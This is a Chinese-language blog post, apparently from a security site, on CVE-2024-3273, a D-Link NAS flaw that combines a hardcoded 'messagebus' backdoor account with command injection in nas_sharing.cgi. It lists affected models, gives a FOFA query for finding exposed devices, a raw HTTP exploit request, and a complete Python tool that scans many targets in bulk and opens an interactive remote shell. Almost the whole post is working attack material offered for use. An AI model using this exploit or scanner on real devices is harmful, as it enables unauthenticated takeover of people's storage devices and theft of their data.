Babing
Published on 2024-08-30 / 2 Visits
0
0

D16-1D-Link-NAS-RCE

D16-1D-Link-NAS-RCE

漏洞描述:

D-Link NAS nas_sharing.cgi接口存在命令执行漏洞,该漏洞存在于“/cgi-bin/nas_sharing.cgi”脚本中,影响其 HTTP GET 请求处理程序组件。漏洞成因是通过硬编码帐户(用户名:“messagebus”和空密码)造成的后门以及通过“system”参数的命令注入问题。未经身份验证的攻击者可利用此漏洞获取服务器权限。

影响版本:

DNS-320L Version 1.11, Version 1.03.0904.2013, Version 1.01.0702.2013
DNS-325 Version 1.01
DNS-327L Version 1.09, Version 1.00.0409.2013
DNS-340L Version 1.08

网站图片:

image-20240621105156999

网络测绘:

fofa语法:

“Text:In order to access the ShareCenter, please make sure you are using a recent browser(IE 7+, Firefox 3+, Safari 4+, Chrome 3+, Opera 10+)”

漏洞复现:

payload:

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=base64编码的命令 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
Accept-Encoding: identity
Accept: */*
Connection: keep-alive

效果图:
PS:执行的命令需base64编码

批量扫描脚本

import base64
import requests
import argparse

from rich.console import Console
from alive_progress import alive_bar
from typing import Tuple, Optional, List
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning


class DLink:
    def __init__(self, base_url: Optional[str]=None) -> None:
        self.base_url: Optional[str] = base_url
        self.session: requests.Session = requests.Session()
        self.console: Console = Console()

        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    def custom_print(self, message: str, header: str) -> None:
        header_colors: dict = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )

    def execute_command(self, command: str = "id", verbose: bool = True) -> str:
        command_hex = ''.join(f'\\\\x{ord(c):02x}' for c in command)
        command_final = f"echo -e {command_hex}|sh".replace(' ', '\t')
        base64_cmd: str = base64.b64encode(command_final.encode()).decode()
        url: str = f"{self.base_url}/cgi-bin/nas_sharing.cgi"
        params: dict = {
            "user": "messagebus",
            "passwd": "",
            "cmd": "15",
            "system": base64_cmd,
        }
        try:
            response: requests.Response = self.session.get(
                url, params=params, verify=False, timeout=10
            )
            result: str = (
                response.text.split("<?xml", 1)[0]
                if "<?xml" in response.text
                else None
            )
            if verbose:
                self.custom_print(
                    "Command executed successfully."
                    if result
                    else "Failed to execute command.",
                    "+" if result else "-",
                )
            return result

        except requests.exceptions.Timeout:
            if verbose:
                self.custom_print("Request timed out.", "-")
        except requests.exceptions.RequestException as e:
            if verbose:
                self.custom_print(f"Request failed: {e}", "-")

    def check_single_url(self, url: str) -> Tuple[str, bool]:
        self.base_url = url
        result: str = self.execute_command(verbose=False)
        is_vulnerable: bool = bool(result)
        return f"{url} is vulnerable to CVE-2024-3273: {result}", is_vulnerable

    def interactive_shell(self) -> None:
        initial_result = self.execute_command()
        if initial_result:
            self.custom_print(
                f"{self.base_url} is vulnerable to CVE-2024-3273: {initial_result}", "!"
            )
            self.custom_print("Opening interactive shell...", "+")
            session: PromptSession = PromptSession(history=InMemoryHistory())

            while True:
                try:
                    cmd: str = session.prompt(
                        HTML("<ansiyellow><b># </b></ansiyellow>"), default=""
                    ).strip()
                    if cmd.lower() == "exit":
                        break
                    elif cmd.lower() == "clear":
                        self.console.clear()
                        continue
                    output: str = self.execute_command(cmd)
                    if output:
                        print(f"{output}\n")
                except KeyboardInterrupt:
                    self.custom_print("Exiting interactive shell...", "!")
                    break
        else:
            self.custom_print("System is not vulnerable or check failed.", "-")

    def check_urls_and_write_output(
        self, urls: List[str], max_workers: int, output_path: Optional[str]
    ) -> None:
        with ThreadPoolExecutor(max_workers=max_workers) as executor, alive_bar(
            len(urls), enrich_print=False
        ) as bar:
            futures = {executor.submit(self.check_single_url, url): url for url in urls}
            for future in as_completed(futures):
                result, is_vulnerable = future.result()
                if is_vulnerable:
                    self.custom_print(result, "+")
                    if output_path:
                        with open(output_path, "a") as file:
                            file.write(result)
                bar()


def main() -> None:
    parser: argparse.ArgumentParser = argparse.ArgumentParser()
    parser.add_argument(
        "-u", "--url", help="Base URL for single target", default=None
    )
    parser.add_argument(
        "-f", "--file", help="File containing list of URLs", default=None
    )
    parser.add_argument(
        "-t", "--threads", help="Number of threads to use", type=int, default=20
    )
    parser.add_argument(
        "-o", "--output", help="Output file to save results", default=None
    )

    args: argparse.Namespace = parser.parse_args()

    if args.url:
        dlink: DLink = DLink(args.url)
        dlink.interactive_shell()
    elif args.file:
        with open(args.file, "r") as f:
            urls: List[str] = f.read().splitlines()
            dlink = DLink()
            dlink.check_urls_and_write_output(urls, args.threads, args.output)
    else:
        parser.error(
            "No URL or file provided. Use -u to specify a single URL or -f to specify a file containing URLs."
        )


if __name__ == "__main__":
    main()

Comment